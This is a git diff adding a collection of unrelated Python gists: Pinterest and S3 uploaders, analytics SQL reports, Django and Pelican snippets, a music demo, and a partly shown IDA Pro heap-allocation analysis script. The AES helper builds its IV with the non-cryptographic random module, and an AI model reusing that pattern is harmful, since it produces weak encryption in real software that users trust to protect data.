+        return requests.post('http://pinterest.com/pin/create/bookmarklet/',
+                                data=data, headers=self.headers)
+
+    def add(self, board, caption, media_url, url):
+        data = {
+                'board': str(board),
+                'details': caption,
+                'link': url,
+                'img_url': media_url,
+                'tags': '',
+                'replies': '',
+                'buyable': '',
+                'csrfmiddlewaretoken': self.csrf,
+                }
+        return requests.post('http://pinterest.com/pin/create/',
+                                data=data, files={}, headers=self.headers)
+
+    def upload(self, board, caption, img):
+        if isinstance(img, basestring):
+            img = open(img)
+        data = {
+                'board': str(board),
+                'details': caption,
+                'link': '',
+                'img_url': '',
+                'tags': '',
+                'replies': '',
+                'buyable': '',
+                'csrfmiddlewaretoken': self.csrf,
+                }
+        return requests.post('http://pinterest.com/pin/create/',
+                                data=data, files={'img': img}, headers=self.headers)
+
+danbooru_re = re.compile(r'(\w{32})\.[png|jpg|jpeg]')
+yande_re = re.compile(r'yande.re (\d+)')
+konachan_re = re.compile(r'Konachan.com - (\d+)')
+def do(api, board_id, filename):
+    if yande_re.match(filename):
+        m = yande_re.match(filename)
+        data = requests.get('https://yande.re/post.json?tags=id:%s' % m.group(1)).json
+        assert api.add(board_id, data[0]['tags'], data[0]['file_url'], 'https://yande.re/post/show/%s/' % data[0]['id']).ok
+    elif konachan_re.match(filename):
+        m = konachan_re.match(filename)
+        data = requests.get('http://konachan.com/post.json?tags=id:%s' % m.group(1)).json
+        assert api.add(board_id, data[0]['tags'], data[0]['file_url'], 'http://konachan.com/post/show/%s/' % data[0]['id']).ok
+    elif danbooru_re.match(filename):
+        m = danbooru_re.match(filename)
+        data = requests.get('http://danbooru.donmai.us/posts.json?tags=md5:%s' % m.group(1)).json
+        assert api.add(board_id, data[0]['tag_string'], 'http://danbooru.donmai.us/data/%s.%s' % (data[0]['md5'], data[0]['file_ext']), 'http://danbooru.donmai.us/posts/%s' % data[0]['id']).ok
+    else:
+        assert api.upload(board_id, filename, os.path.join(sys.argv[1], filename)).ok
+
+if __name__ == '__main__':
+    api = PinterestAPI()
+    api.login('copy your cookie here')
+    board_id = xxxxxxxxxxxx # open one of your board page find <ul class="BoardListUl"> and fill the data here from source code.
+
+    for filename in os.listdir(sys.argv[1]):
+        try:
+            Image.open(os.path.join(sys.argv[1], filename))
+        except:
+            print filename, 'not image'
+            continue
+
+        try:
+            do(api, board_id, filename)
+        except Exception, e:
+            logging.exception(filename)
+            try:
+                api.upload(board_id, filename, os.path.join(sys.argv[1], filename))
+            except Exception, e:
+                logging.exception(filename)
+                continue
+        print filename, 'ok!'
diff --git a/hard-gists/5073235/._snippet.py b/hard-gists/5073235/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5073235/._snippet.py differ
diff --git a/hard-gists/5073235/snippet.py b/hard-gists/5073235/snippet.py
new file mode 100644
index 00000000..d73e8928
--- /dev/null
+++ b/hard-gists/5073235/snippet.py
@@ -0,0 +1,28 @@
+# Play a blues melody on Pythonista on the iPad (iOS)
+import sound
+import time
+
+def playNotes(inNotes, inWithEmphisis=False):
+	for note in inNotes:
+	  sound.play_effect('Piano_' + note)
+	  if (inWithEmphisis):
+	  	time.sleep(0.25)
+	  	sound.play_effect('Piano_' + note)
+	  	time.sleep(0.25)
+	  else:
+	    time.sleep(0.5)
+
+cnotes = ['C3', 'E3', 'G3', 'A3', 'C4', 'A3', 'G3', 'E3']
+fnotes = ['F3', 'A3', 'C4', 'D4', 'F4', 'D4', 'C4', 'A3']
+gnotes = ['G3', 'B3', 'D4', 'E4', 'F3', 'A3', 'C4', 'D4']
+xnotes = ['C3', 'E3', 'F3', 'F3#', 'G3', 'A3#', 'G3', 'G3']
+
+for i in range(2):
+  playNotes(cnotes)
+  cnotes[4] = 'A3#'
+  playNotes(cnotes)
+  playNotes(fnotes)
+  cnotes[4] = 'C4'
+  playNotes(cnotes)
+  playNotes(gnotes)
+  playNotes(cnotes, True)
\ No newline at end of file
diff --git a/hard-gists/5078476/._snippet.py b/hard-gists/5078476/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5078476/._snippet.py differ
diff --git a/hard-gists/5078476/snippet.py b/hard-gists/5078476/snippet.py
new file mode 100644
index 00000000..7d1f7336
--- /dev/null
+++ b/hard-gists/5078476/snippet.py
@@ -0,0 +1,159 @@
+import os
+import MySQLdb as mysql
+from jinja2 import Template
+import unicodecsv as csv
+
+conn = mysql.connect("s1-analytics-slave.eqiad.wmnet", "research", os.environ["RESEARCH_PASSWORD"], "log")
+
+def execute(sql):
+    cur = conn.cursor()
+    cur.execute(sql)
+    return cur
+
+
+def render(template, env):
+    t = Template(template)
+    return t.render(**env)
+
+sql_env = {
+        "tables": {
+            "upload_attempts": "MobileAppUploadAttempts_5257716",
+            "login_attempts": "MobileAppLoginAttempts_5257721",
+            "upload_web": "MobileWebUploads_5281063"
+            },
+        "intervals": {
+            "running_average": "7 DAY"
+            }
+        }
+
+graphs = {
+        "error-uploads": {
+            "title": "Error Uploads",
+            "headers": [ "Date", "Total Uploads", "iOS Uploads", "iOS Uploads", "Camera", "Gallery", "External", "Camera (iOS)", "Gallery (iOS)", "External (iOS)", "Camera (iOS)", "Gallery (iOS)", "External (iOS)"],
+            "sql": """SELECT    DATE(timestamp),
+                                COUNT( * ),
+
+                                SUM( IF( event_platform LIKE 'Android%', 1, 0) ) AS "Android",
+                                SUM( IF( event_platform LIKE 'iOS%', 1, 0) ) AS "iOS",
+
+                                SUM( IF( event_source = 'camera', 1, 0 ) ) as 'Camera',
+                                SUM( IF( event_source = 'gallery', 1, 0 ) ) as 'Gallery',
+                                SUM( IF( event_source = 'external', 1, 0 ) ) as 'External',
+
+                                SUM( IF( event_source = 'camera' AND event_platform LIKE 'Android%', 1, 0 ) ) as 'Camera (Android)',
+                                SUM( IF( event_source = 'gallery' AND event_platform LIKE 'Android%', 1, 0 ) ) as 'Gallery (Android)',
+                                SUM( IF( event_source = 'external' AND event_platform LIKE 'Android%', 1, 0 ) ) as 'External (Android)',
+
+                                SUM( IF( event_source = 'camera' AND event_platform LIKE 'iOS%', 1, 0 ) ) as 'Camera (iOS)',
+                                SUM( IF( event_source = 'gallery' AND event_platform LIKE 'iOS%', 1, 0 ) ) as 'Gallery (iOS)',
+                                SUM( IF( event_source = 'external' AND event_platform LIKE 'iOS%', 1, 0 ) ) as 'External (iOS)'
+
+                      FROM      {{ tables.upload_attempts }}
+                      WHERE     event_result != 'cancelled' AND
+                                event_result != 'success' AND
+                                wiki = 'commonswiki'
+                      GROUP BY  DATE(timestamp)
+                      """
+                      },
+        "cancelled-uploads": {
+            "title": "Cancelled Logins",
+            "headers": [ "Date", "Total Uploads", "iOS Uploads", "iOS Uploads", "Camera", "Gallery", "External", "Camera (iOS)", "Gallery (iOS)", "External (iOS)", "Camera (iOS)", "Gallery (iOS)", "External (iOS)"],
+            "sql": """SELECT    DATE(timestamp),
+                                COUNT( * ),
+
+                                SUM( IF( event_platform LIKE 'Android%', 1, 0) ) AS "Android",
+                                SUM( IF( event_platform LIKE 'iOS%', 1, 0) ) AS "iOS",
+
+                                SUM( IF( event_source = 'camera', 1, 0 ) ) as 'Camera',
+                                SUM( IF( event_source = 'gallery', 1, 0 ) ) as 'Gallery',
+                                SUM( IF( event_source = 'external', 1, 0 ) ) as 'External',
+
+                                SUM( IF( event_source = 'camera' AND event_platform LIKE 'Android%', 1, 0 ) ) as 'Camera (Android)',
+                                SUM( IF( event_source = 'gallery' AND event_platform LIKE 'Android%', 1, 0 ) ) as 'Gallery (Android)',
+                                SUM( IF( event_source = 'external' AND event_platform LIKE 'Android%', 1, 0 ) ) as 'External (Android)',
+
+                                SUM( IF( event_source = 'camera' AND event_platform LIKE 'iOS%', 1, 0 ) ) as 'Camera (iOS)',
+                                SUM( IF( event_source = 'gallery' AND event_platform LIKE 'iOS%', 1, 0 ) ) as 'Gallery (iOS)',
+                                SUM( IF( event_source = 'external' AND event_platform LIKE 'iOS%', 1, 0 ) ) as 'External (iOS)'
+
+                      FROM      {{ tables.upload_attempts }}
+                      WHERE     event_result = 'cancelled' AND
+                                wiki = 'commonswiki'
+                      GROUP BY  DATE(timestamp)
+                      """
+                      },
+        "successful-uploads": {
+            "title": "Successful Logins",
+            "headers": [ "Date", "Total Uploads", "iOS Uploads", "iOS Uploads", "Camera", "Gallery", "External", "Camera (iOS)", "Gallery (iOS)", "External (iOS)", "Camera (iOS)", "Gallery (iOS)", "External (iOS)"],
+            "sql": """SELECT    DATE(timestamp),
+                                COUNT( * ),
+
+                                SUM( IF( event_platform LIKE 'Android%', 1, 0) ) AS "Android",
+                                SUM( IF( event_platform LIKE 'iOS%', 1, 0) ) AS "iOS",
+
+                                SUM( IF( event_source = 'camera', 1, 0 ) ) as 'Camera',
+                                SUM( IF( event_source = 'gallery', 1, 0 ) ) as 'Gallery',
+                                SUM( IF( event_source = 'external', 1, 0 ) ) as 'External',
+
+                                SUM( IF( event_source = 'camera' AND event_platform LIKE 'Android%', 1, 0 ) ) as 'Camera (Android)',
+                                SUM( IF( event_source = 'gallery' AND event_platform LIKE 'Android%', 1, 0 ) ) as 'Gallery (Android)',
+                                SUM( IF( event_source = 'external' AND event_platform LIKE 'Android%', 1, 0 ) ) as 'External (Android)',
+
+                                SUM( IF( event_source = 'camera' AND event_platform LIKE 'iOS%', 1, 0 ) ) as 'Camera (iOS)',
+                                SUM( IF( event_source = 'gallery' AND event_platform LIKE 'iOS%', 1, 0 ) ) as 'Gallery (iOS)',
+                                SUM( IF( event_source = 'external' AND event_platform LIKE 'iOS%', 1, 0 ) ) as 'External (iOS)'
+
+                      FROM      {{ tables.upload_attempts }}
+                      WHERE     event_result = 'success' AND
+                                wiki = 'commonswiki'
+                      GROUP BY  DATE(timestamp)
+                      """
+                      },
+        "unique-uploaders": {
+            "title": "Unique uploaders",
+            "headers": [ "Date", "Total Unique Uploaders", "Android Unique Uploaders", "iOS Unique Uploaders"],
+            "sql": """SELECT    DATE(T1.timestamp),
+                                (SELECT COUNT( DISTINCT T2.event_username ) 
+                                    FROM {{ tables.upload_attempts }} AS T2
+                                    WHERE   T2.timestamp < T1.timestamp AND
+                                            (T2.timestamp + INTERVAL 0 DAY) > (T1.timestamp - INTERVAL {{ intervals.running_average }} )) AS total,
+                                (SELECT COUNT( DISTINCT T2.event_username ) 
+                                    FROM {{ tables.upload_attempts }} AS T2
+                                    WHERE   T2.event_platform LIKE 'Android%' AND
+                                            T2.timestamp < T1.timestamp AND
+                                            (T2.timestamp + INTERVAL 0 DAY) > (T1.timestamp - INTERVAL {{ intervals.running_average }} )) AS android,
+                                (SELECT COUNT( DISTINCT T2.event_username ) 
+                                    FROM {{ tables.upload_attempts }} AS T2
+                                    WHERE   T2.event_platform LIKE 'iOS%' AND
+                                            T2.timestamp < T1.timestamp AND
+                                            (T2.timestamp + INTERVAL 0 DAY) > (T1.timestamp - INTERVAL {{ intervals.running_average}} )) AS iOS
+                      FROM      {{ tables.upload_attempts }} AS T1
+                      WHERE     T1.event_result = 'success' AND
+                                T1.wiki = 'commonswiki'
+                      GROUP BY  DATE(T1.timestamp)
+                      """
+                      },
+        "successful-logins": {
+            "title": "Successful Logins",
+            "headers": [ "Date", "Total Logins", "iOS Logins", "Android Logins"],
+            "sql": """SELECT    DATE(timestamp),
+                                COUNT( * ), 
+                                SUM( IF( event_platform LIKE 'Android%', 1, 0) ) AS "Android",
+                                SUM( IF( event_platform LIKE 'iOS%', 1, 0) ) AS "iOS"
+                      FROM      {{ tables.login_attempts }}
+                      WHERE     event_result = 'success' AND
+                                wiki = 'commonswiki'
+                      GROUP BY  DATE(timestamp)
+                      """
+                      }
+        }
+
+
+for key, value in graphs.items():
+    title = value['title']
+    sql = render(value['sql'], sql_env)
+    rows = execute(sql)
+    writer = csv.writer(open(key + ".csv", "w"))
+    writer.writerow(value['headers'])
+    for row in rows:
+        writer.writerow(row)
diff --git a/hard-gists/5079405/._snippet.py b/hard-gists/5079405/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5079405/._snippet.py differ
diff --git a/hard-gists/5079405/snippet.py b/hard-gists/5079405/snippet.py
new file mode 100644
index 00000000..83b9f538
--- /dev/null
+++ b/hard-gists/5079405/snippet.py
@@ -0,0 +1,34 @@
+"""
+S3 Uploader for Python 3
+Colton J. Provias
+
+Usage:
+f = open('sample.png', 'rb')
+contents = f.read()
+response, url = upload_to_s3('AWSKEY', 'AWSSECRET', 'mybucket', 'image.png', contents, 'image/png')
+"""
+
+
+from _sha1 import sha1
+from base64 import b64encode
+from datetime import datetime
+import hmac
+from http.client import HTTPConnection
+from wsgiref.handlers import format_date_time
+
+
+def upload_to_s3(aws_key, aws_secret, bucket, filename, contents, mimetype):
+    timestamp = format_date_time(datetime.now().timestamp())
+    string_to_sign = '\n'.join(['PUT', '', mimetype, timestamp, 'x-amz-acl:public-read', '/' + bucket + '/' + filename])
+    signed = b64encode(hmac.new(aws_secret.encode('utf-8'), string_to_sign.encode('utf-8'), sha1)).digest().decode(
+        'utf-8')
+    headers = {
+        'Authorization': 'AWS ' + aws_key + ':' + signed,
+        'Content-Type': mimetype,
+        'Date': timestamp,
+        'Content-Length': len(contents),
+        'x-amz-acl': 'public-read'
+    }
+    conn = HTTPConnection(bucket + '.s3.amazonaws.com')
+    conn.request('PUT', filename, contents, headers)
+    return (conn.getresponse(), 'http://' + bucket + '.s3.amazonaws.com/' + filename)
\ No newline at end of file
diff --git a/hard-gists/507bcbf3e8cfdc5d3549/._snippet.py b/hard-gists/507bcbf3e8cfdc5d3549/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/507bcbf3e8cfdc5d3549/._snippet.py differ
diff --git a/hard-gists/507bcbf3e8cfdc5d3549/snippet.py b/hard-gists/507bcbf3e8cfdc5d3549/snippet.py
new file mode 100644
index 00000000..7a2ac035
--- /dev/null
+++ b/hard-gists/507bcbf3e8cfdc5d3549/snippet.py
@@ -0,0 +1,26 @@
+# required apt-get install jython libcommons-logging-java libcommons-lang-java
+import sys
+sys.path.append('jackcess-2.0.4.jar') # assume the jackcess is in the same directory
+sys.path.append('/usr/share/java/commons-logging-1.1.3.jar') # in case logging didn't get picked up
+sys.path.append('/usr/share/java/commons-lang-2.6.jar') # in case lang didn't get picked up
+from com.healthmarketscience.jackcess import *
+from com.healthmarketscience.jackcess.util import ExportFilter
+from com.healthmarketscience.jackcess.util import ExportUtil
+from com.healthmarketscience.jackcess.util import SimpleExportFilter
+import java.io
+from java.io import File
+
+dbfilename = sys.argv[1]
+exportdirname = sys.argv[2]
+print "input filename is",dbfilename
+print "tables will be saved into directory",exportdirname
+dbfile = File(dbfilename)
+exportdir = File(exportdirname)
+# make a database object
+db = DatabaseBuilder.open(dbfile)
+# make an export filter object
+export_filter = SimpleExportFilter()
+# use 'em to throw down all the data!
+ExportUtil.exportAll(db,exportdir,'csv',True)
+
+print "seems to work"
diff --git a/hard-gists/5088386/._snippet.py b/hard-gists/5088386/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5088386/._snippet.py differ
diff --git a/hard-gists/5088386/snippet.py b/hard-gists/5088386/snippet.py
new file mode 100644
index 00000000..d4ca2d20
--- /dev/null
+++ b/hard-gists/5088386/snippet.py
@@ -0,0 +1,42 @@
+from django.db import models
+import django_filters
+import operator
+
+
+class SearchFilter(django_filters.CharFilter):
+    
+    def __init__(self, name='pk', search_fields=[], *args, **kwargs):
+        super(SearchFilter, self).__init__(name, *args, **kwargs)
+        self.search_fields = search_fields
+    
+    def filter(self, qs, keywords):
+        
+        def construct_search(field_name):
+            if field_name.startswith('^'):
+                return "%s__istartswith" % field_name[1:]
+            elif field_name.startswith('='):
+                return "%s__iexact" % field_name[1:]
+            elif field_name.startswith('@'):
+                return "%s__search" % field_name[1:]
+            else:
+                return "%s__icontains" % field_name
+        
+        if self.search_fields and keywords:
+            orm_lookups = map(construct_search, self.search_fields)
+            for keyword in keywords.split():
+                or_queries = [models.Q(**{orm_lookup: keyword})
+                              for orm_lookup in orm_lookups]
+                qs = qs.filter(reduce(operator.or_, or_queries))
+
+        return qs
+
+
+class ReportFilter(django_filters.FilterSet):
+
+    query = SearchFilter(search_fields=[
+        'tag_number', 'contact_name', 'contact_email', 'state', 'species__name'])
+    state = StateValueFilter(name='state', widget=FilterLinkWidget)
+
+    class Meta:
+        model = Report
+        fields = ['query', 'state', 'species']
diff --git a/hard-gists/5090763/._snippet.py b/hard-gists/5090763/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5090763/._snippet.py differ
diff --git a/hard-gists/5090763/snippet.py b/hard-gists/5090763/snippet.py
new file mode 100644
index 00000000..94240b4e
--- /dev/null
+++ b/hard-gists/5090763/snippet.py
@@ -0,0 +1,29 @@
+"""
+This code takes two screenshots from the camera roll combines them into one image and saves the new image to the camera roll.
+
+This is adapted from Federico Viticci's blog post at:
+http://www.macstories.net/stories/automating-ios-how-pythonista-changed-my-workflow/
+It removes the option to change which picture is where, automatically assigning the first one chosen as the leftmost image.
+It also removes the necessity to copy the images to the clipboard outside of Pythonista using the new photos library in version 1.3. Finally, it removes the clipboard output.
+"""
+
+import photos
+import Image
+import console
+
+im1 = photos.pick_image(show_albums=False)
+im2 = photos.pick_image(show_albums=False)
+
+background = Image.new('RGBA', (746,650), (255, 255, 255, 255))
+
+console.clear()
+print "Generating image..."
+console.show_activity()
+
+_1 = im1.resize((366,650),Image.ANTIALIAS)
+_2 = im2.resize((366,650),Image.ANTIALIAS)
+background.paste(_1,(0,0))
+background.paste(_2,(380,0))
+photos.save_image(background)
+console.hide_activity()
+print "Image saved to camera roll."
diff --git a/hard-gists/5091345/._snippet.py b/hard-gists/5091345/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5091345/._snippet.py differ
diff --git a/hard-gists/5091345/snippet.py b/hard-gists/5091345/snippet.py
new file mode 100644
index 00000000..10e34dbe
--- /dev/null
+++ b/hard-gists/5091345/snippet.py
@@ -0,0 +1,11 @@
+from django.contrib.auth.decorators import login_required
+from django.utils.decorators import method_decorator
+from django.views.generic import TemplateView
+
+class LoginRequiredMixin(object):
+    @method_decorator(login_required)
+    def dispatch(self, *args, **kwargs):
+        return super(LoginRequiredMixin, self).dispatch(*args, **kwargs)
+
+class LoginRequiredTemplateView(LoginRequiredMixin,TemplateView):
+    pass
\ No newline at end of file
diff --git a/hard-gists/5091825/._snippet.py b/hard-gists/5091825/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5091825/._snippet.py differ
diff --git a/hard-gists/5091825/snippet.py b/hard-gists/5091825/snippet.py
new file mode 100644
index 00000000..9ead9f6e
--- /dev/null
+++ b/hard-gists/5091825/snippet.py
@@ -0,0 +1,19 @@
+#!/usr/bin/env python
+import Globals
+
+from Products.ZenUtils.ZenScriptBase import ZenScriptBase
+
+class MyTool(ZenScriptBase):
+    def buildOptions(self):
+        super(MyTool, self).buildOptions()
+
+        self.parser.add_option(
+            '-x', dest='myoption',
+            help='My option.')
+
+    def run(self):
+        print "%s - %s" % (self.dmd, self.options.myoption)
+
+if __name__ == '__main__':
+    tool = MyTool(connect=True)
+    tool.run()
\ No newline at end of file
diff --git a/hard-gists/5097274/._snippet.py b/hard-gists/5097274/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5097274/._snippet.py differ
diff --git a/hard-gists/5097274/snippet.py b/hard-gists/5097274/snippet.py
new file mode 100644
index 00000000..309b8249
--- /dev/null
+++ b/hard-gists/5097274/snippet.py
@@ -0,0 +1,32 @@
+from pelican import signals
+from pelican.readers import EXTENSIONS, Reader
+
+
+class NewReader(Reader):
+    enabled = True
+    file_extensions = ['yeah']
+
+    def read(self, filename):
+        metadata = {'title': 'Oh yeah',
+                    'category': 'Foo',
+                    'date': '2012-12-01'}
+
+        parsed = {}
+        for key, value in metadata.items():
+            parsed[key] = self.process_metadata(key, value)
+
+        return "Some content", parsed
+
+
+def get_generators(generators):
+    # define a new generator here if you need to
+    return generators
+
+
+def add_reader(arg):
+    EXTENSIONS['yeah'] = NewReader
+
+
+def register():
+    signals.get_generators.connect(get_generators)
+    signals.initialized.connect(add_reader)
\ No newline at end of file
diff --git a/hard-gists/5099161/._snippet.py b/hard-gists/5099161/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5099161/._snippet.py differ
diff --git a/hard-gists/5099161/snippet.py b/hard-gists/5099161/snippet.py
new file mode 100644
index 00000000..ba818341
--- /dev/null
+++ b/hard-gists/5099161/snippet.py
@@ -0,0 +1,127 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from Crypto.Cipher import AES
+import base64
+import random
+import hashlib
+import os
+
+
+class AesCrypt256:
+    """
+    Aes Crypter based on pyCrypto
+    will replace Lib/Norris/AesCrypter.py
+
+    >>> c = AesCrypt256()
+    >>> key = 'mysecret'
+    >>> text = 'foobar'
+    >>> c.decrypt(key,c.encrypt(key,text))
+    'foobar'
+
+    >>> c.decryptB64(key,c.encryptB64(key,text))
+    'foobar'
+    
+    >>> c.pkcs5_unpad(c.pkcs5_pad('foobar'))
+    'foobar'
+
+    >>> c.pkcs5_unpad(c.pkcs5_pad('foobar-'*10))
+    'foobar-foobar-foobar-foobar-foobar-foobar-foobar-foobar-foobar-foobar-'
+    """
+    
+    BLOCK_SIZE = 32
+
+    def pkcs5_pad(self,s):
+        """
+        padding to blocksize according to PKCS #5
+        calculates the number of missing chars to BLOCK_SIZE and pads with
+        ord(number of missing chars)
+        @see: http://www.di-mgt.com.au/cryptopad.html
+
+
+        @param s: string to pad
+        @type s: string
+
+        @rtype: string
+        """
+        return s + (self.BLOCK_SIZE - len(s) % self.BLOCK_SIZE) * chr(self.BLOCK_SIZE - len(s) % self.BLOCK_SIZE)
+
+    def pkcs5_unpad(self,s):
+        """
+        unpadding according to PKCS #5
+
+        @param s: string to unpad
+        @type s: string
+
+        @rtype: string
+        """
+        return s[0:-ord(s[-1])]
+
+
+    def encrypt(self, key, value):
+        """Encrypt value by key
+
+        @param key: key to encrypt with
+        @type key: string
+
+        @param value: value to encrypt
+        @type value: string
+
+        @rtype: string
+        """
+
+        iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
+        key = hashlib.sha256(key).digest()[:self.BLOCK_SIZE]
+        cipher = AES.new(key, AES.MODE_CBC, iv)
+        crypted = cipher.encrypt(self.pkcs5_pad(value))
+        return iv+crypted
+
+
+    def decrypt(self, key, value):
+        """Decrypt value by key
+
+        @param key: key to decrypt with
+        @type key: string
+
+        @param value: value to decrypt
+        @type value: string
+
+        @rtype: string
+        """
+        key = hashlib.sha256(key).digest()[:self.BLOCK_SIZE]
+        iv = value[:16]
+        crypted = value[16:]
+        cipher = AES.new(key,AES.MODE_CBC,iv)
+        return self.pkcs5_unpad(cipher.decrypt(crypted))
+
+    def encryptB64(self, key, value):
+        """Encrypt and return in base64
+
+        @param key: key to encrypot with
+        @type key: string
+
+        @param value: value to encrypt
+        @type value: string
+
+        @rtype: string
+        """
+        return base64.b64encode(self.encrypt(key, value))
+
+    def decryptB64(self, key, value):
+        """decrypt from base64
+
+        @param key: key to decrypt with
+        @type key: string
+
+        @param value: value to decrypt in base64
+        @type value: string
+
+        @rtype: string
+        """        
+        return self.decrypt(key,base64.b64decode(value))
+    
+
+    
+if __name__ == "__main__":
+    import doctest
+    doctest.testmod()
+    
diff --git a/hard-gists/50abbd0ad3c16c5dee55/._snippet.py b/hard-gists/50abbd0ad3c16c5dee55/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/50abbd0ad3c16c5dee55/._snippet.py differ
diff --git a/hard-gists/50abbd0ad3c16c5dee55/snippet.py b/hard-gists/50abbd0ad3c16c5dee55/snippet.py
new file mode 100644
index 00000000..a0b0e13c
--- /dev/null
+++ b/hard-gists/50abbd0ad3c16c5dee55/snippet.py
@@ -0,0 +1,308 @@
+from idaapi import *
+from idc import *
+from idautils import *
+import sys
+#Jared DeMott, labs.bromium.com
+
+def error(e):
+  print "Fatal error: ", e
+  sys.exit(-1)
+
+HeapAlloc_addr = LocByName("__imp__HeapAlloc@12")
+if HeapAlloc_addr == 0xffffffff:
+  error("bad HeapAlloc_addr")
+process_heap   = LocByName("_g_hProcessHeap")
+if process_heap == 0xffffffff:
+  error("bad process_heap")
+GetProcessHeap = LocByName("__imp__GetProcessHeap@0")
+if GetProcessHeap == 0xffffffff:
+  error("bad GetProcessHeap")
+
+patched=0
+if patched:
+  isolated_heap  = LocByName("_g_hIsolatedHeap")
+  if isolated_heap == 0xffffffff:
+    error("bad isolated_heap")
+else:
+  isolated_heap = 0x12345678 #hack, if data happens to be present will detect i_heap in unpatched
+
+p_heap=0
+i_heap=0
+d_heap=0
+v_heap=0
+dynamic_size=0
+heap_name = ""
+DYSIZE = 0
+debug = 0
+
+def check_for_first_jmp_to_this_location(addr):
+  ret_addr = 0
+  for x_ref in XrefsTo(addr, 0):
+    if x_ref.type == 19: #Code_Near_Jump
+      ret_addr = x_ref.frm #only return the first
+      break
+  return ret_addr
+
+def get_prior_addr(addr):
+  _addr = check_for_first_jmp_to_this_location(addr)
+  if _addr:
+    inst=DecodePreviousInstruction(_addr)
+    addr=inst.ea
+  else:
+    inst=DecodePreviousInstruction(addr)
+    addr=inst.ea
+  return addr
+
+def find_wrapper_size(addr):
+  loop = 0
+  found_pop = 0
+  size = 0
+  if debug:
+    print "start wrapper_size"
+  while True:
+    loop+=1
+    if loop > 15:
+      dynamic_size = 1
+      break
+    inst = GetMnem(addr)
+    if debug:
+      print loop, hex(addr), inst
+    if inst == "pop":
+      if GetOpnd(addr, 0) == "eax":
+        found_pop = 1
+    elif inst == "mov":
+      if GetOpnd(addr, 0) == "eax":
+        size = GetOpnd(addr, 1)
+        break
+    elif inst == "push":
+      if found_pop:
+        size = GetOpnd(addr, 0)
+        break
+    addr = get_prior_addr(addr)
+
+  return size
+
+def find_push(addr, ignore_first_push):
+  loop = 0
+  if debug:
+    print "start find_push"
+  while True:
+    loop+=1
+    inst = GetMnem(addr)
+    if debug:
+      print loop, hex(addr), inst
+    if inst != "push":
+      if loop < 22:
+        addr = get_prior_addr(addr)
+        continue
+      else:
+        print "Failed to find next PUSH, assuming ??? size"
+        print "\tAddr: %x" %(addr)
+        addr = 0 # is this ok for flags, needed for size
+        break
+    else:
+      if ignore_first_push:
+        ignore_first_push-=1
+        addr = get_prior_addr(addr)
+        continue
+      break
+
+  return addr
+
+def find_heap(addr):
+  global heap_name, debug
+  lcopy_addr=addr
+  loop=0
+  op_num=1
+  second_time=0
+  pushes_seen=0
+  done = 0
+  if debug:
+    print "start find_heap"
+  while done==0:
+    loop+=1
+    if loop > 1: #first time just points to 'call heapalloc'
+      Mnem = GetMnem(addr)
+      op_val = GetOperandValue(addr, op_num)
+
+      if debug:
+        print loop, hex(addr), Mnem, hex(op_val)
+
+      if Mnem == "push":
+        pushes_seen+=1
+
+      if op_val == process_heap:
+        heap_name = "process_heap"
+        done = 1
+      elif op_val == isolated_heap:
+        heap_name = "isolated_heap"
+        done = 1
+
+      if Mnem == "call":
+        if op_val==GetProcessHeap:
+          heap_name = "default_heap"
+          done = 1
+        else:
+          for ref in XrefsFrom(addr, 0):
+            if ref.to == GetProcessHeap:
+              heap_name = "default_heap"
+              done = 1
+
+    if loop < 22:
+      addr = get_prior_addr(addr)
+    else:
+      if second_time == 0:
+        op_num=0
+        loop=1 #cant be zero else reset addr
+        second_time=1
+        addr=lcopy_addr
+      else:
+        heap_name = "variable_heap"
+        done = 1
+
+  return heap_name, addr, pushes_seen
+
+def dynamic_check(addr):
+  global dynamic_size
+  if GetOpType(addr, 0) > 4:
+    dynamic_size = 0 #immediate data
+  else:
+    dynamic_size = 1 #reg or mem ref
+
+  return dynamic_size
+
+def add_to_heap_count():
+  global i_heap, p_heap, d_heap, v_heap, heap_name
+  if heap_name == "isolated_heap":
+    i_heap+=1
+  elif heap_name == "process_heap":
+    p_heap+=1
+  elif heap_name == "default_heap":
+    d_heap+=1
+  elif heap_name == "variable_heap":
+    v_heap+=1
+  else:
+    print "shouldn't get here ever"
+    return -1
+  return 1
+
+def WrapperAlloc_output_data(f, name, key, d):
+  global heap_name, debug
+
+  if debug:
+    print d[key][0], d[key][1], heap_name, d[key][2], d[key][3]
+
+  f.write("%s\n" % d[key][0] )
+  f.write("\t%s\n" % d[key][1] )
+  f.write("\t%s(%s, %s, " % (name, heap_name, d[key][2]) )
+  f.write("%s) from %x\n" % (d[key][3], key) )
+
+def output_data(f, key, d):
+  global heap_name, debug
+
+  if debug:
+    print d[key][0], d[key][1], heap_name, hex(d[key][2]), hex(d[key][3])
+  f.write("%s\n" % d[key][0] )
+  f.write("\t%s\n" % d[key][1] )
+  f.write("\tHeapAlloc(%s, %s, " % (heap_name, GetOpnd(d[key][2], 0) ) )
+  if size_addr:
+    f.write("%s) from %x\n" % (GetOpnd(d[key][3], 0), key) )
+  else:
+    f.write("???) from %x\n" % key )
+
+def handle_WrapperAlloc(f, flags, heap, name, funcs):
+  print "handling %s" % name
+  dynamic_size = 0
+  for x in XrefsTo(LocByName(name), 0):
+    ptr = x.frm
+    try:
+      x = funcs[ptr]
+    except:
+      funcs[ptr] = []
+
+      func_name = GetFunctionName(ptr)
+      d_func_name = Demangle(func_name, GetLongPrm(INF_SHORT_DN))
+
+      heap_name = heap
+      size = find_wrapper_size(ptr)
+
+      funcs[ptr].append(func_name)
+      funcs[ptr].append(d_func_name)
+      funcs[ptr].append(flags)
+      funcs[ptr].append(size)
+
